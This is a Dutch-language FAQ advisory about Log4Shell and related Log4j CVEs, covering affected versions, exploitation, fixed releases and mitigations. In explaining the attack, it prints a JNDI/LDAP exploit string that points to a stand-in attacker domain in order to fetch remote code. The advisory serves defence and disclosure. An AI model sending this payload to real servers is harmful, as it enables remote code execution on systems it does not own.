CVE-2021-44228, CVE-2021-45046, CVE-2021-4104: veelgestelde vragen over Log4Shell en gerelateerde kwetsbaarheden

19 december 2021

Een lijst van veelgestelde vragen over Log4Shell en daarmee samenhangende kwetsbaarheden.

Bron: Access42, Tenable

Achtergrond

Na de ontdekking van de Apache Log4j-kwetsbaarheid, bekend als Log4Shell op 9 december, heeft het Access42 Response Team de volgende blogpost samengesteld om antwoord te geven op enkele van de meest gestelde vragen (FAQ) over Log4Shell en de onlangs onthulde kwetsbaarheden in Log4j.

FAQ

Wat is Log4j?

Log4j is een veelgebruikte logbibliotheek in Java die deel uitmaakt van Apache Logging Services. Het wordt gebruikt om berichten van een toepassing of dienst te loggen, vaak voor debugging doeleinden.

Wat is CVE-2021-44228?

CVE-2021-44228 is een kwetsbaarheid voor remote code execution (RCE) in Apache Log4j 2.0 tot en met 2.14.1. Het heeft de naam Log4Shell gekregen van beveiligingsonderzoekers.

Hoe kan CVE-2021-44228 worden uitgebuit?

Een ongeauthenticeerde aanvaller op afstand kan van dit lek misbruik maken door een speciaal bewerkt verzoek te sturen naar een server met een kwetsbare versie van log4j. Dit kan worden bereikt door een exploit string in een tekstveld op een website te plaatsen of door de exploit string op te nemen als onderdeel van HTTP headers bestemd voor een kwetsbare server. Als de kwetsbare server log4j gebruikt om verzoeken te loggen, zal de exploit vervolgens een kwaadaardige payload opvragen van een door de aanvaller gecontroleerde server via de Java Naming and Directory Interface (JNDI) over een groot aantal diensten, zoals Lightweight Directory Access Protocol (LDAP).

Een voorbeeld van een exploit zou er ongeveer zo uitzien:

${jndi:ldap://niethekken.nl/exploit.class}

Wat gebeurt er als de kwetsbaarheid wordt uitgebuit?

De kwetsbare log4j bibliotheek vraagt een kwaadaardige payload aan en voert die uit vanaf de door de aanvaller gecontroleerde server.

Hebben we tot nu toe aanvallen in het wild gezien?

Aanvallers zijn al begonnen met het gebruik van Log4Shell op verschillende manieren, waaronder:

  • Cryptocurrency mining software (cryptominers)
  • Gedistribueerde denial-of-service (DDoS) botnets
  • Ransomware

Er zijn berichten dat zowel nation state groups als initial access brokers al gebruik maken van het lek, wat betekent dat we moeten verwachten dat APT-groepen (advanced persistent threat) en aan ransomware gelieerde groepen het lek in de zeer nabije toekomst zullen gaan gebruiken.

Is Log4Shell aangepakt in Log4j 2.15.0?

Nee, Apache heeft Log4j 2.16.0 uitgebracht om een onvolledige fix voor Log4Shell aan te pakken. Apache heeft een nieuwe CVE toegewezen voor deze onvolledige fix: CVE-2021-45046.

Wat is CVE-2021-45046?

CVE-2021-45046 werd oorspronkelijk gerapporteerd als een denial of service kwetsbaarheid in Apache Log4j 2.0 tot en met 2.15.0, en is sindsdien geupgrade naar een RCE. Onder specifieke niet-standaard configuraties waar een Context Lookup (b.v.: $${ctx:loginId}) wordt gebruikt, zou een aanvaller die een JNDI lookup maakt met kwaadaardige invoergegevens, een DoS conditie kunnen veroorzaken of een RCE kunnen bereiken op een kwetsbare server die Log4j 2 gebruikt.

Geldt de mitigatie voor Log4Shell ook voor CVE-2021-45046?

Nee. Volgens Apache is de vorige oplossing voor CVE-2021-44228 – formatMsgNoLookups op true zetten – in het geheel onvoldoende. Die richtlijn hield geen rekening met andere codepaden waarin message lookups zouden kunnen voorkomen. Daarom raadt Apache nu aan om te upgraden naar een veilige versie van Log4j, te beginnen met 2.16.0 en 2.12.2 (voor Java 7). Als dat niet mogelijk is, raadt Apache aan om het JndiLookup-klassepad te verwijderen.

Wat doet de release van Log4j 2.16.0 eigenlijk?

Gebaseerd op de release notes, heeft Apache ervoor gekozen om Log4j te harden door message lookups te verwijderen en JNDI standaard uit te schakelen.

Mijn organisatie gebruikt Java 7 en we kunnen niet upgraden naar Log4j 2.16.0. Wat moeten we doen?

Apache heeft Log4j 2.12.2 uitgebracht om CVE-2021-45046 voor Java 7 aan te pakken. Als onmiddellijke patching niet mogelijk is, adviseert Apache om de klasse JndiLookup uit het classpath te verwijderen. Richtlijnen voor het verwijderen van dit classpath zijn te vinden in de Apache documentatie.

Wat is CVE-2021-45105?

CVE-2021-45105 is een onlangs vrijgegeven Denial of Service (DoS) kwetsbaarheid in Apache Log4j. De kwetsbaarheid is te misbruiken in niet-standaard configuraties. Een aanvaller kan een bewerkt verzoek verzenden dat een recursieve lookup bevat, wat kan resulteren in een DoS-conditie. Om de kwetsbaarheid te verhelpen heeft Apache Log4j versie 2.17.0 uitgebracht. Daarnaast biedt Apache mogelijkheden om het lek te verhelpen voor diegenen die niet direct kunnen upgraden. Het is raadzaam om de Apache security advisory pagina regelmatig te bekijken, omdat er updates kunnen blijven komen voor de aanbevolen mitigations als er nieuwe ontwikkelingen zijn.

Is Log4j 1.x kwetsbaar?

Er komt nog steeds veel informatie naar buiten rond Log4Shell. Op het moment dat deze blog werd gepubliceerd, zei Apache dat Log4j 1.2 op een vergelijkbare manier kwetsbaar is wanneer Log4j is geconfigureerd om JMSAppender te gebruiken, die geen deel uitmaakt van de standaardconfiguratie, maar niet specifiek kwetsbaar is voor CVE-2021-44228. Aan deze kwetsbaarheid in Log4j 1.2 is CVE-2021-4104 toegekend.

Is er een patch beschikbaar voor Log4j 1.2?

Nee, Log4j branch 1.x heeft de end of life (EOL) status bereikt, en ontvangt daarom geen beveiligingsupdates meer. Gebruikers worden geïnstrueerd om te upgraden naar Log4j 2.12.2 (voor Java 7) of 2.16.0 of hoger.

Hoe los ik CVE-2021-4104 op?

Er zijn een paar opties die gebruikt kunnen worden om misbruik van CVE-2021-4104 te voorkomen.

  • Gebruik de JMSAppender niet in de Log4j configuratie
  • Verwijder het JMSAppender class bestand (org/apache/log4j/net/JMSAppender.class)
  • Beperk de toegang van OS-gebruikers om te voorkomen dat een aanvaller de Log4j configuratie kan wijzigen

Wat is het verhaal hier met al deze kwetsbaarheden?

Dit is wat we weten sinds 18 december:

  • Er zijn vier CVE’s toegewezen voor kwetsbaarheden in Log4j
CVEVulnerability TypeAffected Log4j VersionsNon-Default Config
CVE-2021-44228RCE2.0 through 2.14.1No
CVE-2021-45046Denial of Service (DoS) and RCE2.0 through 2.15.0Yes
CVE-2021-4104RCE1.2*Yes
CVE-2021-45105Denial of Service (DoS)2.0-beta9 to 2.16.0Yes
  • Alleen CVE-2021-44228 is out-of-the-box exploiteerbaar wanneer Log4j versies 2.0 tot en met 2.14.1 als een bibliotheek in applicaties en diensten zijn opgenomen
  • CVE-2021-45046, CVE-2021-4104 en CVE-2021-45105 zijn alleen aanwezig in bepaalde niet-standaard configuraties
  • CVE-2021-4104 zal niet worden gepatcht, aangezien de Log4j 1.x-tak het einde van zijn levensduur heeft bereikt

Wat zijn de fixed versies van Log4j die deze kwetsbaarheden verhelpen?

Log4j ReleaseJava VersionRelease Availability
2.17.0Java 8Yes
2.16.0Java 8Yes
2.12.2Java 7Yes
1.2No (EOL)

Hoe groot is de kans op uitbuiting van deze kwetsbaarheden?

De volgende tabel geeft een overzicht van de exploiteerbaarheid en van de vraag of een kwetsbaarheid al dan niet reeds werd uitgebuit.

CVELikelihood of ExploitationAlready Exploited
CVE-2021-44228HighYes
CVE-2021-45046LowNo
CVE-2021-4104LowNo
CVE-2021-45105LowNo

Is er een overzicht van alle kwetsbare software?

Het NCSC houdt een overzicht bij van alle kwetsbare software, inclusief eventuele update/fix.

Wat zijn manieren waarop ik/mijn organisatie deze kwetsbaarheden in Log4j kan identificeren?

Tenable heeft een aantal plug-ins (o.a. Nessus), scan templates en dashboards (Tenable.io, Tenable.sc) voor onze producten uitgebracht.

  • Voor bijgewerkte informatie over de plugins die zijn vrijgegeven, raadpleegt u dit bericht op de Tenable Community.
  • Voor bijgewerkte informatie over scan templates die zijn vrijgegeven, verwijzen wij u naar dit bericht op de Tenable Community.
log4shell-logo-800x359